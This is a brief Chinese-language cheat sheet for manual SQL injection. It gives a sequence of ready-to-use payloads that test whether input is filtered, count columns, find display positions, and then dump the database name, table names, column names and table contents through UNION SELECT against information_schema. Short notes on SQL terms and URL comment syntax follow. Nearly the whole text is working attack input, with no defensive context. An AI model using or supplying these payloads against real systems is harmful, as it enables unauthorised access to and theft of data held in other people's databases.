简单手工SQL注入过程

判断是否过滤
1’ or 1=1#
1’ and 1=2#
判断列数
1’ order by 1,2,3#
查看显位点
-1’ union select 1,2,3,4#
爆库名
-1’ union select 1,2,3,database()#
爆表名
-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=‘库名’#
爆列名
-1’ union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘表名’#
爆内容
-1’ union select 1,2,3,group_concat(列名) from 表名#

注：
database 数据库
schema
table 表
column 列
group_concat 全选
xxx.admin 查指定目录下的admin数据
–+ # url注释符
–+ post里+视为空格 可用-- 代替